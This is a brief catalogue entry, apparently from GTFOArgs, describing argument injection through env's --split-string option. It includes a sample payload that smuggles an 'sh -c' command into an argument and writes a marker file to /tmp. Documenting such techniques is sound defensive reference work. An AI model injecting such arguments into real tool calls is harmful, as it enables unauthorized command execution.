Argument injection via env
env env Sandbox: execFile · Timeout: 30s
security.execution.command The `--split-string` parameter accepts multiple additional arguments. The first positional argument without an `=` executes as a command.
env '--split-string=sh -c "id > /tmp/pwned"' foo GTFOArgs entry for env. This binary can be used to inject arguments for execution, file operations, or other capabilities.